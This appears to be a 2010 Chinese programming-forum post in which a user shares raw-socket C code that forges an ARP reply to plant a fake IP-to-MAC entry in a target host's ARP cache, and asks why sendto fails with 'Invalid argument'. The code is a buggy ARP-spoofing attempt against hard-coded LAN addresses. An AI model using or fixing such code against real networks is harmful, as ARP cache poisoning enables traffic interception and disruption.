- 论坛徽章:
- 0
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h> /* For ETH_P_ALL */
#include <net/if_arp.h>
#define DST "10.117.4.11"
#define P 80
unsigned char mymac[6]={0x00,0x50,0x56,0x9A,0x30,0xfc};
unsigned char fakemac[6]={0x11,0x22,0x33,0x44,0x55,0x66};
unsigned char fakeip[4]={10,117,1,4};
unsigned char vicmac[6]={0x00,0x50,0x56,0x40,0x27,0x39};
unsigned char vicip[4]={10,117,4,11};
struct arp_packet
{
struct ethhdr ethhdr;
struct arphdr arphdr;
unsigned char src_mac[6];
unsigned char src_ip[4];
unsigned char dst_mac[6];
unsigned char dst_ip[4];
};
int main()
{
int sockfd;
char buf[1024];
if ((sockfd = socket(PF_PACKET, SOCK_RAW,htons(ETH_P_ARP))) < 0) {
perror("socket");
exit(1);
}
struct sockaddr_in sin;
sin.sin_family=AF_INET;
sin.sin_port=htons(P);
sin.sin_addr.s_addr=inet_addr(DST);
struct arp_packet arppacket;
memcpy(arppacket.ethhdr.h_dest,vicmac,6);
memcpy(arppacket.ethhdr.h_source,mymac,6);
arppacket.ethhdr.h_proto=htons(ETH_P_ARP);
arppacket.arphdr.ar_hrd=htons(ARPHRD_ETHER);
arppacket.arphdr.ar_pro=htons(ETH_P_IP);
arppacket.arphdr.ar_hln=6;
arppacket.arphdr.ar_pln=4;
arppacket.arphdr.ar_op=htons(ARPOP_REPLY);
memcpy(arppacket.src_mac,fakemac,6);
memcpy(arppacket.dst_mac,vicmac,6);
memcpy(arppacket.src_ip,fakeip,4);
memcpy(arppacket.dst_ip,vicip,4);
memcpy(buf,(unsigned char *)(&arppacket),sizeof(struct arp_packet));
int nbytes=sendto(sockfd,&buf,sizeof(arppacket),0,(struct sockaddr *)&sin,sizeof(sin));
printf("nbytes is %d\n",nbytes);
if(nbytes < 0)
{
perror("error");
}
return 0;
}
我想让vic ip的arp 有我发送过去的一项。
代码丑陋的我自己都觉得有罪。
哪位帮我看看。。我编译过了 。运行时出现
nbytes is -1
error: Invalid argument
问题出哪了?????
[ 本帖最后由 seskissinger 于 2010-1-7 18:25 编辑 ] |
|